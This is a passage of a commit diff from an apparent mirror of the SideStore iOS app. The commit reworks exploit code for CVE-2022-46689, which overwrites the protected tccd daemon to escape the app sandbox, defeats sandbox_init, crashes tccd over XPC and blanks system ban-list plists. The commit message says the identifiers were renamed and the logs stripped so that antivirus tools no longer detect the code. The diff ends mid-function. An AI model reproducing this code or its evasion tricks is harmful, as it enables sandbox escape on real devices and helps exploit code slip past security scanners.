mirror of
https://github.com/SideStore/SideStore.git
synced 2026-02-09 06:43:25 +01:00
so we now aren't detected by like 8 antiviruses but windows defender loves me
This commit is contained in:
123
AltStore/MDCExploit/CowExploits.swift
Normal file
123
AltStore/MDCExploit/CowExploits.swift
Normal file
@@ -0,0 +1,123 @@
|
||||
import Foundation
|
||||
|
||||
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
|
||||
enum PatchError: Error {
|
||||
case NoFDA(msg: String)
|
||||
case FailedPatchd
|
||||
}
|
||||
|
||||
enum PatchResult {
|
||||
case success, failure(PatchError)
|
||||
}
|
||||
|
||||
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||
grant_fda { error in
|
||||
if let error = error {
|
||||
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||
}
|
||||
// DispatchQueue.global(qos: .userInitiated).async {
|
||||
print("This is run on a background queue")
|
||||
if !installdaemon_patch() {
|
||||
completion(.failure(PatchError.FailedPatchd))
|
||||
}
|
||||
// }
|
||||
completion(.success)
|
||||
}
|
||||
}
|
||||
|
||||
func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
|
||||
enum WhitelistPatchResult {
|
||||
case success, failure
|
||||
}
|
||||
|
||||
//
|
||||
// func patchWhiteList() {
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// }
|
||||
//
|
||||
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||
// #if false
|
||||
// let documentDirectory = FileManager.default.urls(
|
||||
// for: .documentDirectory,
|
||||
// in: .userDomainMask
|
||||
// )[0].path
|
||||
//
|
||||
// let pathToRealTarget = originPath
|
||||
// let originPath = documentDirectory + originPath
|
||||
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
// #endif
|
||||
//
|
||||
// // open and map original font
|
||||
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
// if fd == -1 {
|
||||
// print("Could not open target file")
|
||||
// return false
|
||||
// }
|
||||
// defer { close(fd) }
|
||||
// // check size of font
|
||||
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
// guard originalFileSize >= replacementData.count else {
|
||||
// print("Original file: \(originalFileSize)")
|
||||
// print("Replacement file: \(replacementData.count)")
|
||||
// print("File too big!")
|
||||
// return false
|
||||
// }
|
||||
// lseek(fd, 0, SEEK_SET)
|
||||
//
|
||||
// // Map the font we want to overwrite so we can mlock it
|
||||
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
// if fileMap == MAP_FAILED {
|
||||
// print("Failed to map")
|
||||
// return false
|
||||
// }
|
||||
// // mlock so the file gets cached in memory
|
||||
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
// print("Failed to mlock")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// // for every 16k chunk, rewrite
|
||||
// print(Date())
|
||||
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
// print(String(format: "%lx", chunkOff))
|
||||
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
// var overwroteOne = false
|
||||
// for _ in 0..<2 {
|
||||
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
// unalign_csr(
|
||||
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
// )
|
||||
// }
|
||||
// if overwriteSucceeded {
|
||||
// overwroteOne = true
|
||||
// print("Successfully overwrote!")
|
||||
// break
|
||||
// }
|
||||
// print("try again?!")
|
||||
// }
|
||||
// guard overwroteOne else {
|
||||
// print("Failed to overwrite")
|
||||
// return false
|
||||
// }
|
||||
// }
|
||||
// print(Date())
|
||||
// print("Successfully overwrote!")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// func readFile(path: String) -> String? {
|
||||
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
// }
|
||||
@@ -1,122 +0,0 @@
|
||||
import Foundation
|
||||
|
||||
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
|
||||
enum PatchError: Error {
|
||||
case NoFDA(msg: String)
|
||||
case FailedPatchd
|
||||
}
|
||||
|
||||
enum PatchResult {
|
||||
case success, failure(PatchError)
|
||||
}
|
||||
|
||||
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||
grant_full_disk_access { error in
|
||||
if let error = error {
|
||||
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||
}
|
||||
// DispatchQueue.global(qos: .userInitiated).async {
|
||||
print("This is run on a background queue")
|
||||
if !patch_installd() {
|
||||
completion(.failure(PatchError.FailedPatchd))
|
||||
}
|
||||
// }
|
||||
completion(.success)
|
||||
}
|
||||
}
|
||||
|
||||
func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0);
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
|
||||
enum WhitelistPatchResult {
|
||||
case success, failure
|
||||
}
|
||||
|
||||
func patchWhiteList() {
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
overwriteFileWithDataImpl(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
}
|
||||
|
||||
func overwriteFileWithDataImpl(originPath: String, replacementData: Data) -> Bool {
|
||||
#if false
|
||||
let documentDirectory = FileManager.default.urls(
|
||||
for: .documentDirectory,
|
||||
in: .userDomainMask
|
||||
)[0].path
|
||||
|
||||
let pathToRealTarget = originPath
|
||||
let originPath = documentDirectory + originPath
|
||||
let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
#endif
|
||||
|
||||
// open and map original font
|
||||
let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
if fd == -1 {
|
||||
print("Could not open target file")
|
||||
return false
|
||||
}
|
||||
defer { close(fd) }
|
||||
// check size of font
|
||||
let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
guard originalFileSize >= replacementData.count else {
|
||||
print("Original file: \(originalFileSize)")
|
||||
print("Replacement file: \(replacementData.count)")
|
||||
print("File too big!")
|
||||
return false
|
||||
}
|
||||
lseek(fd, 0, SEEK_SET)
|
||||
|
||||
// Map the font we want to overwrite so we can mlock it
|
||||
let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
if fileMap == MAP_FAILED {
|
||||
print("Failed to map")
|
||||
return false
|
||||
}
|
||||
// mlock so the file gets cached in memory
|
||||
guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
print("Failed to mlock")
|
||||
return true
|
||||
}
|
||||
|
||||
// for every 16k chunk, rewrite
|
||||
print(Date())
|
||||
for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
print(String(format: "%lx", chunkOff))
|
||||
let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
var overwroteOne = false
|
||||
for _ in 0..<2 {
|
||||
let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
unaligned_copy_switch_race(
|
||||
fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
)
|
||||
}
|
||||
if overwriteSucceeded {
|
||||
overwroteOne = true
|
||||
print("Successfully overwrote!")
|
||||
break
|
||||
}
|
||||
print("try again?!")
|
||||
}
|
||||
guard overwroteOne else {
|
||||
print("Failed to overwrite")
|
||||
return false
|
||||
}
|
||||
}
|
||||
print(Date())
|
||||
print("Successfully overwrote!")
|
||||
return true
|
||||
}
|
||||
|
||||
func readFile(path: String) -> String? {
|
||||
return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
}
|
||||
@@ -2,5 +2,5 @@
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool installdaemon_patch(void);
|
||||
@@ -8,9 +8,9 @@
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
#import "grant_fda.h"
|
||||
#import "helping_tools.h"
|
||||
#import "vm_unalign_csr.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
@@ -34,37 +34,37 @@ int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
struct fda_offsets {
|
||||
uint64_t of_addr_com_apple_tcc_;
|
||||
uint64_t offset_pad_space_for_rw_string;
|
||||
uint64_t of_addr_s_kTCCSML;
|
||||
uint64_t of_auth_got_sb_init;
|
||||
uint64_t of_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
static bool pchfind_sections(void* execmap,
|
||||
struct segment_command_64** data_seg,
|
||||
struct symtab_command** stabout,
|
||||
struct dysymtab_command** dystabout) {
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
*data_seg = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
*stabout = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
*dystabout = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -73,21 +73,20 @@ static bool patchfind_sections(void* executable_map,
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
|
||||
void* str_offset = memmem(em, el, n, strlen(n) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
uint64_t str_file_offset = str_offset - em;
|
||||
for (int i = 0; i < el; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(em + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
@@ -95,19 +94,19 @@ static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executa
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
static uint64_t pchfind_return_0(void* exmp, size_t el) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
return offset - exmp;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
static uint64_t pchfind_got(void* ecm, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
@@ -115,12 +114,12 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
@@ -132,10 +131,10 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
@@ -144,43 +143,43 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
static bool pchfind(void* execmap, size_t executable_length,
|
||||
struct fda_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
// printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
if ((offsets->of_addr_com_apple_tcc_ =
|
||||
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
|
||||
// printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
if ((offsets->offset_pad_space_for_rw_string =
|
||||
pchfind_get_padding(data_const_segment)) == 0) {
|
||||
// printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
|
||||
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
// printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
if ((offsets->of_auth_got_sb_init =
|
||||
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
// printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
// printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct mach_header_64* executable_header = execmap;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
@@ -188,19 +187,20 @@ static bool patchfind(void* executable_map, size_t executable_length,
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
//TODO WARNING REPLACE com.apple.tccd
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
// NSLog(@"event handler (xpc): %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
// "target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
@@ -214,24 +214,27 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
// NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
//object is nil???
|
||||
// NSLog(@"wqfewfw9");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
//response:
|
||||
// NSLog(@"qwdqwd%@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
// NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
//debug description:
|
||||
// NSLog(@"wqdwqu %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
@@ -239,9 +242,9 @@ static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
|
||||
struct fda_offsets offsets = {};
|
||||
if (!pchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
@@ -250,56 +253,56 @@ static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
struct dyld_chained_ptr_arm64e_rebase tRBase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
offsets.of_addr_s_kTCCSML);
|
||||
tRBase.target = offsets.offset_pad_space_for_rw_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
offsets.of_addr_s_kTCCSML) =
|
||||
tRBase;
|
||||
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
struct dyld_chained_ptr_64_rebase tRBase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
.target = offsets.of_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
|
||||
tRBase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
static bool over_write_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
if (unalign_csr(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
@@ -313,13 +316,15 @@ static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
static void grant_fda_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
char* targetPath = "/Nope";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
targetPath = "/Nope";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
@@ -327,7 +332,7 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
@@ -335,8 +340,8 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
if (!over_write_file(fd, sourceData)) {
|
||||
over_write_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
@@ -349,25 +354,26 @@ static void grant_full_disk_access_impl(void (^completion)(NSString* extension_t
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
// crash_with_xpc_thingy("com.apple.tccd");
|
||||
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
